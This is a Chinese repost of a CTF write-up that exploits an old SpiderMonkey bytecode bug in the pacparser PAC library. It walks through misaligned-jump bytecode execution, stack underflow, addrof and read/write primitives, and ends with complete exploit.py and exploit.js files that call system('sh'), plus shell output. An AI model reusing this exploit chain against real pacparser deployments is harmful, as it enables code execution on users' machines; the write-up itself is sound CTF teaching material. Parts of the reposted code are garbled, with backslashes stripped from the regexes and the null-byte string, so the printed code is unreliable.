Ancient Monkey Pwning a 17-Year-Old Version of SpiderMonkey
去年,@swapgs和我在流行的企业 VPN 解决方案Zscaler中发现了一个有趣的漏洞。VPN 客户端使用pacparser库来决定哪些 HTTP 请求应该被代理。这个决定是基于一个预配置的代理自动配置(PAC)文件,该文件包含 JavaScript 代码。
这个漏洞允许我们从一个字符串中逃逸,并在 PAC 文件的上下文中执行任意 JavaScript。我们注意到 pacparser 使用的是一个17 年前的 SpiderMonkey 版本(Firefox 的 JS 引擎),但当时我们没有机会开发一个完整的利用程序。相反,我们只是报告了这个漏洞,建议代码执行可能是可行的。
快进到今年。在准备 Hack.lu CTF 2024 时,我注意到我们的 pwn 挑战较少,所以我决定重新磨练我的 pwn 技能(我通常是一个网页玩家),并尝试这个漏洞!
一个有前景的 SpiderMonkey 漏洞
我开始在 Mozilla 的 bug 追踪器中搜索合适的漏洞。我发现了一些在 pacparser 的 SpiderMonkey 版本中有效的漏洞,其中一个听起来相当有趣:
[398085 - 大型 switch 语句崩溃 @ js_InterpretVERIFIED (igor) 在核心 - JavaScript 引擎中。最后更新于 2012-01-23.
在阅读评论时,这条评论很好地总结了这个漏洞:
大型函数中的 switch 语句相当破损。在这个测试用例中,switch 无法到达,但它的存在导致发射器为‘if’语句生成错误的字节码。它应该是‘ifeqx 32804’,但实际上是‘ifeq 14’。
使用这个技巧,攻击者可以让引擎执行任意字节码,因此这可能是安全敏感的?
当一个函数的总字节码过长时,跳转会出现问题。以下代码将导致第一个if
进行短跳转(11 字节),而不是跳转到块的末尾。
function trigger(a) {
var foo;
var bar;
if (a) {
foo = (1);
bar = 0x414141;
// Next line requires 48 bytes:
// 8 * getargprop (5 bytes) + 7 add (1 byte) + 1 pop (1 byte)
a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x;
a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x;
a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x;
// ... repeat this line 680 more times (= 32784 bytes) ...
}
return "Everything's fine."
// Comment out the switch statement and the bug disappears.
switch (a) {
case 1: ;
case 2: return;
}
}
trigger(false);
这样的错位跳转可以用来通过跳转到 UINT24
指令的字面部分来执行任意字节码:
0000: 56 00 00 GETVAR 0 ; var foo
0003: 51 POP ;
0004: 56 00 01 GETVAR 1 ; var bar
0007: 51 POP ;
0008: 54 00 00 GETARG 0 ;
000b: 07 00 0b IFEQ 0xb ; if (a) {
000e: 00 NOP ;
000f: 3f ONE ;
0010: 83 GROUP ;
0011: 57 00 00 SETVAR 0 ; foo = (1)
0014: 51 POP ;
0015: bc 41 41 41 UINT24 0x414141 ;
0019: 57 00 01 SETVAR 1 ; bar = 0x414141
001c: 51 POP ;
; ...
IFEQ
跳转在 0000b
将跳转 0xb
(11)字节,落在 0016
。由于 UINT24
指令从 0015
开始,这就是一个错位跳转。SpiderMonkey 将尝试运行下一个字节(0x41
),这对应于 THIS
指令。
通过这种方式,我们可以执行任意字节码,但我们限制在 3 字节内。大多数指令要么是 1 字节,要么是 3 字节长。我们可以通过将前 2 字节用于指令并将最后一个字节设置为 IFEQ
或 IFNE
操作码来运行更长的 1 字节指令序列。由于 IFEQ
和 IFNE
是 3 字节指令,它们将消耗后面的 2 字节。
当编写像 0x000007,0x000007,0x000007
这样的 JavaScript 时,生成的字节码汇编看起来像这样:
0000: bc 00 00 07 UINT24 0x000007
0004: 51 POP
0005: bc 00 00 07 UINT24 0x000007
0009: 51 POP
000a: bc 00 00 07 UINT24 0x000007
000e: 51 POP
然而,当使用错位跳转时,执行以下虚拟机指令:
0000: bc ; ignored due to misaligned jump
0001: 00 NOP ; execution starts here
0002: 00 NOP
0003: 07 51 bc IFEQ 0x51bc ; not taken
0006: 00 NOP
0007: 00 NOP
0008: 07 51 bc IFEQ 0x51bc ; not taken
000b: 00 NOP
000c: 00 NOP
000d: 07 51 bc ; ...
通过巧妙地选择 IFEQ
或 IFNE
使得分支永远不会被执行,我们可以成功跳过原始 POP
和 UINT24
指令中的 51 bc
字节。我们可以使用任意的 1 字节指令来替代 NOP
,如果需要的话,可以形成一个非常长的链。
内存破坏
任意字节码执行很酷,但要做一些有意义的事情,我们需要破坏一些内存。为此,我不得不四处查看,看看哪些指令可以做一些有趣的事情。
过了一段时间,我意识到 POP
/POP2
可能正是我所寻找的。它们会减少虚拟机的栈指针,并且不检查是否会导致栈下溢:
jsinterp.csource
BEGIN_CASE(JSOP_POP)
sp--;
END_CASE(JSOP_POP)
BEGIN_CASE(JSOP_POP2)
sp -= 2;
END_CASE(JSOP_POP2)
在检查 sp
周围的内存时,我注意到栈帧对象就位于其正下方。它包含一些有趣的内容,包括许多指针:
jsinterp.hsource
struct JSStackFrame {
JSObject *callobj; /* lazily created Call object */
JSObject *argsobj; /* lazily created arguments object */
JSObject *varobj; /* variables object, where vars go */
JSScript *script; /* script being interpreted */
JSFunction *fun; /* function being called or null */
JSObject *thisp; /* "this" pointer if in method */
uintN argc; /* actual argument count */
jsval *argv; /* base of argument stack slots */
jsval rval; /* function return value */
uintN nvars; /* local variable count */
jsval *vars; /* base of variable stack slots */
JSStackFrame *down; /* previous frame */
void *annotation; /* used by Java security */
JSObject *scopeChain; /* scope chain */
jsbytecode *pc; /* program counter */
jsval *sp; /* stack pointer */
jsval *spbase; /* operand stack base */
uintN sharpDepth; /* array/object initializer depth */
JSObject *sharpArray; /* scope for #n= initializer vars */
uint32 flags; /* frame flags -- see below */
JSStackFrame *dormantNext; /* next dormant frame chain */
JSObject *xmlNamespace; /* null or default xml namespace in E4X */
JSObject *blockChain; /* active compile-time block scopes */
};
通过链接一系列的 POP2
,我们可以使栈指针指向 &fp->argv
。下次我们向栈中推送内容时,将会覆盖 fp->argv
。然后,我们可以使用 GETARG
和 SETARG
指令从 fp->argv
中读取和写入数据:
jsinterp.csource
BEGIN_CASE(JSOP_GETARG)
slot = GET_ARGNO(pc);
PUSH_OPND(fp->argv[slot]);
END_CASE(JSOP_GETARG)
BEGIN_CASE(JSOP_SETARG)
slot = GET_ARGNO(pc);
vp = &fp->argv[slot];
*vp = FETCH_OPND(-1);
END_CASE(JSOP_SETARG)
我们可以控制这些指令中的 slot
,它是从字节码中读取的 uint16_t
。这意味着我们现在可以读取 ptr[slot]
并写入 ptr[slot] = val
。唯一的问题是栈帧在这个过程中被破坏,导致虚拟机在从当前函数返回时崩溃。我没有调查为什么会发生这种情况或是否可以防止它。相反,我只是开始调用一个回调函数,而不是返回:
function pwn(a, cb) {
var foo, bar;
if (a) {
foo = (1);
bar = 0x6b6b07,0x6b6b07,0x6b6b07,0x6b6b07,0x6b6b07; // point sp to &fp->argv
cb(a); // call cb with the value of fp->argv[0]
// ...
}
// ...
}
构建 addrof
原语
在这个 SpiderMonkey 版本中,JavaScript 值可以是多种类型之一。该值被标记为特定类型的掩码,以便虚拟机在使用该值之前知道其类型。这些是可能的类型及其掩码:
类型 | 掩码 |
---|---|
JSObject* |
0b000 |
int |
0b001 |
double* |
0b010 |
JSString* |
0b100 |
bool |
0b110 |
例如,当值是一个对象时,它将是指向该对象的原始指针(obj_ptr & 0b000
)。当值是一个整数时,它将被存储为 (int_val << 1) | 1
。当值是一个双精度数或字符串时,它是一个带有相应掩码值的指针。
要将原始指针转换为可以在 JavaScript 世界中处理的值,我们需要将其转换为整数或双精度数,或者以某种方式将其写入字符串的字符数组中。整数不太适合,因为我们不能仅仅将最低有效位设置为 1。字符串也不方便,因为我们必须去掉指针掩码才能获得字符数组指针。
双精度数对我们来说可能更有帮助,这在我们查看它们在内存中的表现时变得清晰。像 0x55d9ab4b8c62
这样的值被识别为双精度数,因为它的最低有效十六进制数字是 2
。为了访问该值,虚拟机会去掉掩码,得到 0x55d9ab4b8c60
,并读取该地址的 8 个字节。字节 3d0ad7a370bd2a40
对应于 13.37
的 IEEE-754 浮点编码:
0x55d9ab4b8c60: 3d 0a d7 a3 70 bd 2a 40 00 00 00 00 00 00 00 00
0x55d9ab4b8c70: 40 00 00 00 00 00 00 c0 80 8c 4b ab d9 55 00 00
然而,通过我们的指针写入原语,我们只能写入双指针,而不去除标签(0x55d9ab4b8c62
)。这将导致访问以下内存:
0x55d9ab4b8c60: 3d 0a d7 a3 70 bd 2a 40 00 00 00 00 00 00 00 00
0x55d9ab4b8c70: 40 00 00 00 00 00 00 c0 80 8c 4b ab d9 55 00 00
进行这样的非对齐写入只会覆盖双精度值的上 6 个字节,并且会“丢失”被写入值的上 2 个字节,因为它是写在双精度值之外。指针在 64 位机器上是 8 个字节,但实际上只保存 48 位的信息,也就是 6 个字节。
这个巧合使我们能够将一个指针写入非对齐(带标签的)双精度指针,并且仍然保留双精度值中的所有相关位!将指针0x0000414141414141
写入双精度值的效果如下:
0x55d9ab4b8c60: 3d 0a 41 41 41 41 41 41 00 00 00 00 00 00 00 00
0x55d9ab4b8c70: 40 00 00 00 00 00 00 c0 80 8c 4b ab d9 55 00 00
在 JavaScript 世界中,我们可以读取双精度数并手动将其转换为字节表示,结果为 3d0a414141414141
。通过去掉前两个字节并从小端转换,我们得到了原始指针 0x414141414141
。因此,我们的 addrof
原语可以这样实现:
function addrof(a, double, ptr, cb) {
var foo, bar;
var _double = double;
var _ptr = ptr;
if (a) {
foo = (1);
bar = 0x6b6b07,0x6b6b07,0x6b6b07,0x6b6b07,0x6b6b07; // point sp to &fp->argv
b + ( // overwrite fp->argv with the double pointer
(a = _ptr), // write the pointer to *double (misaligned)
cb(_double) // call cb with the double pointer
)
// ...
}
// ...
}
回调函数需要将双精度数转换为其字节表示,例如使用这个 JS IEEE-754 实现。
泄露有趣的信息
从现在开始,我们只需进行常规的 pwn 工作™。首先,我们通过读取函数指针泄露二进制文件在内存中的基地址。使用我们的指针解引用原语和 addrof
这非常简单。所有 JS 对象都包含一个函数指针结构体,位于 obj->map->ops
中:
通过读取常规 JS 对象的 lookupProperty
函数指针,我们可以获得二进制文件中 js_LookupProperty
函数的地址。从那里,我们可以通过减去函数的偏移量来计算基地址。
要获取 libc 基地址,我们可以读取全局偏移表 (GOT) 中的一个条目。由于二进制文件启用了完整的 RelRO,因此所有条目都已解析。从那里我们可以计算出 system()
函数的地址,稍后我们将使用该地址获取 shell。
获取 shell
为了劫持控制流,我们可以覆盖并调用一个函数指针。JS 对象的 ops
指针是很好的候选者,但问题是我们无法完全控制调用参数。查看实际函数,我们可以看到它们都期望一个上下文指针作为第一个参数:
JS_HasProperty(JSContext *cx, JSObject *obj, const char *name, JSBool *foundp);
JS_LookupProperty(JSContext *cx, JSObject *obj, const char *name, jsval *vp);
JS_GetProperty(JSContext *cx, JSObject *obj, const char *name, jsval *vp);
// ...
幸运的是,上下文对象在二进制运行期间是相同的,并且它存储在二进制的 .bss
段中:
0013e1b0 uint64_t myip = 0x0
0013e1b8 uint64_t rt = 0x0
0013e1c0 <span>uint64_t cx = 0x0</span>
0013e1c8 uint64_t global = 0x0
0013e1d0 uint32_t didFirstChecks.0 = 0x0
对象本身位于堆上,因此我们可以泄露它的地址并写入其位置,以控制传递给 ops
函数的第一个参数指向何处。为了获得一个 shell,我们将用 system()
函数指针覆盖 getProperty()
,并将我们的 shell 命令写入 *cx
。
为了写入任意数据,我们可以像之前一样使用双精度值,但这里我们可以采用更简单的方法。由于整数是通过 1
进行移位和掩码处理的,我们可以利用这一点创建一个短字节序列,使第一个字节的最低有效位被设置。
对于 shell,我们可以将 "shx00"
作为值写入,这在原始字节中是 736800
,或作为小端整数是 0x6873
。为了适应值标记,我们必须在 JS 世界中使用右移后的值 (0x3439
)。在内存中,由于值标记,该值将再次是我们期望的字节序列 (73680000
)。
一切准备就绪后,我们只需访问 obj.x
即可获得我们的 shell。这个 JS 表达式将导致通过 obj->map->ops->getProperty(cx, ...)
检索 obj
的 x
属性。由于 getProperty
操作已被 libc 的 system()
覆盖,并且 cx
现在指向 "shx00"
,这相当于调用 system("sh")
,从而给我们一个 shell!
[*] './pactester'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[*] './libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
chal.lookupProperty: 0x9a85a
chal.cx: 0x13e1c0
[email protected]: 0x137ee0
libc.getenv: 0x487a0
libc.system: 0x58740
[+] Opening connection to monke.flu.xxx on port 1337: Done
[*] Switching to interactive mode
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ /readflag
flag{no_jit_no_wasm_no_worries}
总结
这一切大约花了我一周的时间来弄明白,在此期间我学到了很多!我把大部分时间归因于我不是一个常规的攻击者,但也许我高估了经验能节省多少时间。在 CTF 结束后,我意识到我可能应该给玩家更多的提示,因为这个挑战只被解决了一次,而玩家使用了不同的漏洞。
如果我再创建这个挑战,我会把漏洞票作为提示,这样人们就不必自己去寻找,可以专注于攻击。我认为这样挑战会更容易接近,因为这个漏洞允许执行任意字节码,给玩家提供了更多的操作空间。
无论如何,我希望你喜欢这篇写作,也许你也学到了一些东西。有趣的是,一些缺失的缓解措施使得利用变得更容易(例如,没有常量混淆),而一些缺失的特性则使得利用变得不那么方便(例如,没有 WASM rwx
页面)。也许我明年需要再创建一个挑战,以便有借口学习现代 JS 引擎的攻击?
最终利用
exploit.py
import re
from pwn import *
pactester = ELF('./pactester')
libc = ELF('./libc.so.6')
# get offsets
lookup_property = hex(pactester.symbols['js_LookupProperty'] - pactester.address)
cx = hex(pactester.symbols['cx'] - pactester.address)
getenv_got_plt = hex(pactester.got['getenv'] - pactester.address)
libc_getenv = hex(libc.symbols['getenv'])
libc_system = hex(libc.symbols['system'])
print('chal.lookupProperty:', lookup_property)
print('chal.cx: ', cx)
print('[email protected]:', getenv_got_plt)
print('libc.getenv: ', libc_getenv)
print('libc.system: ', libc_system)
with open('./exploit.js', 'r') as f:
js = f.read()
# replace offsets
js = re.sub('(var OFFSET_LOOKUP_PROPERTY =) 0x[a-f0-9]+(;)', r'1 ' + lookup_property + r'2', js)
js = re.sub('(var OFFSET_CX =) 0x[a-f0-9]+(;)', r'1 ' + cx + r'2', js)
js = re.sub('(var OFFSET_GETENV_GOT =) 0x[a-f0-9]+(;)', r'1 ' + getenv_got_plt + r'2', js)
js = re.sub('(var OFFSET_GETENV =) 0x[a-f0-9]+(;)', r'1 ' + libc_getenv + r'2', js)
js = re.sub('(var OFFSET_SYSTEM =) 0x[a-f0-9]+(;)', r'1 ' + libc_system + r'2', js)
# minify JS
js = re.sub(r'^s+', '', js)
js = re.sub(r'(W)s+(w)', r'12', js)
js = re.sub(r'(w)s+(W)', r'12', js)
js = re.sub(r'(W)s+(W)', r'12', js)
js = re.sub(r'(W)s+(W)', r'12', js)
js = js.replace("'", '"')
js = js.replace(';}', '}')
js = js.strip().rstrip(';')
url = '://);function findProxyForURL(s){return eval(s.slice(63))}<!--/' + js + '//\'
host = args.HOST or 'localhost'
r = remote(host, 1337)
r.sendlineafter(b': ', url.encode())
r.interactive()
exploit.js
function toIEEE754(v, ebits, fbits) {
var bias = (1 << (ebits - 1)) - 1;
var s, e, f;
if (isNaN(v)) {
e = (1 << bias) - 1; f = 1; s = 0;
} else if (v === Infinity || v === -Infinity) {
e = (1 << bias) - 1; f = 0; s = (v < 0) ? 1 : 0;
} else if (v === 0) {
e = 0; f = 0; s = (1 / v === -Infinity) ? 1 : 0;
} else {
s = v < 0;
v = Math.abs(v);
if (v >= Math.pow(2, 1 - bias)) {
var ln = Math.min(Math.floor(Math.log(v) / Math.LN2), bias);
e = ln + bias;
f = v * Math.pow(2, fbits - ln) - Math.pow(2, fbits);
} else {
e = 0;
f = v / Math.pow(2, 1 - bias - fbits);
}
}
var i, bits = [];
for (i = fbits; i; i -= 1) { bits.push(f % 2 ? 1 : 0); f = Math.floor(f / 2); }
for (i = ebits; i; i -= 1) { bits.push(e % 2 ? 1 : 0); e = Math.floor(e / 2); }
bits.push(s ? 1 : 0);
bits.reverse();
var str = bits.join('');
var bytes = [];
while (str.length) {
bytes.push(parseInt(str.substring(0, 8), 2));
str = str.substring(8);
}
return bytes;
}
function fromIEEE754(bytes, ebits, fbits) {
var bits = [];
for (var i = bytes.length; i; i -= 1) {
var byte = bytes[i - 1];
for (var j = 8; j; j -= 1) {
bits.push(byte % 2 ? 1 : 0); byte = byte >> 1;
}
}
bits.reverse();
var str = bits.join('');
var bias = (1 << (ebits - 1)) - 1;
var s = parseInt(str.substring(0, 1), 2) ? -1 : 1;
var e = parseInt(str.substring(1, 1 + ebits), 2);
var f = parseInt(str.substring(1 + ebits), 2);
if (e === (1 << ebits) - 1) {
return f !== 0 ? NaN : s * Infinity;
} else if (e > 0) {
return s * Math.pow(2, e - bias) * (1 + f / Math.pow(2, fbits));
} else if (f !== 0) {
return s * Math.pow(2, -(bias-1)) * (f / Math.pow(2, fbits));
} else {
return s * 0;
}
}
function fromIEEE754Double(b) { return fromIEEE754(b, 11, 52); }
function toIEEE754Double(v) { return toIEEE754(v, 11, 52); }
function toIEEE754DoubleString(v) {
return toIEEE754Double(v)
.map(function(n){ var h = n.toString(16); return h.length == 1 ? '0' + h : h })
.join('')
}
function fromIEEE754DoubleString(s) {
s = s.substring(4, 16) + '0000';
var bytes = s.match(/../g).map(function(n){ return parseInt(n, 16) });
return fromIEEE754Double(bytes);
}
var BIG = '';
for (var i = 0; i < 600; i++) BIG += 'a.x+a.x+a.x+a.x+a.x+a.x+a.x+a.x;';
function runBytecode(instr, prologue, epilogue) {
prologue = prologue || '';
epilogue = epilogue || '';
return Function('a', 'b', 'c', 'd', 'e', ''
+ 'var _,__,foo;'
+ prologue + ';'
+ 'if(c){'
+ 'do{'
+ '__=(1);'
+ '_='+instr+';'
+ '}while(foo);'
+ 'return;'
+ BIG
+ '}'
+ 'return _;'
+ 'switch(a){'
+ 'case 1:'
+ 'case 2:return'
+ '}'
+ 'return 0;'
+ epilogue
);
}
function pop(n, jumps) {
var lits = [];
while (n>0) {
if (n > 5) {
literal = '0x6b6b' + (jumps[lits.length]?'07':'08');
n -= 5;
} else if (n == 5) {
literal = '0x6b6b00';
n -= 5;
} else {
literal = '0x' + [,'000000','510000','515100','515151'][n];
n -= n;
}
lits.push(literal);
}
return '('+lits.join(',')+')';
}
function leakFuncPtr() {
var getOpsPtr = runBytecode(pop(25,[0,0,1,0,1,1]) + ';var foo=b;foo=a;foo=b;foo=c;return foo');
return getOpsPtr(123, {}, 0);
}
function doubleToHex(double) {
return padStart(toIEEE754DoubleString(double).substring(0, 12), 16, '0');
}
function addrof(val, cb) {
var writeToDouble = runBytecode(pop(29,[1,1,0,1,1,1]) + ';b+((a=__),cb(saved))', '__=a;var saved=b,cb=d');
var double = 156842099844.51764;
writeToDouble(val, double, 0, function(double){
cb(doubleToHex(double));
});
}
var writeWhatWhereFunc = runBytecode(pop(29,[1,1,0,1,1,1]) + ';b+((a=__),cb(saved))', '__=a;var saved=b,cb=d');
function write(what, where, cb) {
writeWhatWhereFunc(what, where, 0, cb);
}
function writeObjOpsPtr(obj, ptr, cb) {
var writePtr = runBytecode(pop(29,[1,1,0,1,1,1]) + ';foo=b;foo=a;foo=b+((e=saved)+cb())', 'var saved=a,cb=d;');
writePtr(ptr, obj, 0, cb);
}
var derefFunc = runBytecode(pop(29,[1,1,0,1,1,1]) + ';b+cb(a)', '__=a;var saved=b,cb=d');
function deref(doublePtr, cb) {
derefFunc(null, doublePtr, 0, cb);
}
function rawPtr(hex, cb) {
var double = fromIEEE754DoubleString(hex);
deref(double, cb);
}
function readPtr(addrHex, cb) {
rawPtr(addrHex, function(ptr) {
deref(ptr, function(val) {
addrof(val, cb);
});
});
}
function padStart(s, n, c) {
var res = '';
while (res.length < n - s.length) res += c;
return res + s;
}
function hexPtrAdd(h, n) {
var hi = parseInt(h.substring(0, h.length-8), 16);
var lo = parseInt(h.substring(h.length-8, h.length), 16);
lo += n;
return padStart(hi.toString(16), 8, '0') + padStart(lo.toString(16), 8, '0');
}
var OFFSET_LOOKUP_PROPERTY = 0x9a85a;
var OFFSET_CX = 0x13e1c0;
var OFFSET_GETENV_GOT = 0x137ee0;
var OFFSET_GETENV = 0x487a0;
var OFFSET_SYSTEM = 0x58740;
var leakme = leakFuncPtr();
addrof(leakme, function(addr) {
var base = hexPtrAdd(addr, -OFFSET_LOOKUP_PROPERTY);
var cxBss = hexPtrAdd(base, OFFSET_CX);
readPtr(cxBss, function(cx) {
var getenvGot = hexPtrAdd(base, OFFSET_GETENV_GOT);
readPtr(getenvGot, function(getenv) {
var libc = hexPtrAdd(getenv, -OFFSET_GETENV);
var system = hexPtrAdd(libc, OFFSET_SYSTEM);
rawPtr(cx, function(cxPtr) {
var cmd = 0x006873 >>> 1;
write(cmd, cxPtr, function(){
rawPtr(system, function(systemPtr) {
var pwnMe = {};
writeObjOpsPtr(pwnMe, systemPtr, function() {
pwnMe.x;
});
});
});
});
});
});
});
原文始发于微信公众号(securitainment):古老的猴子征服 17 年前的 SpiderMonkey - pwn pacparser
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论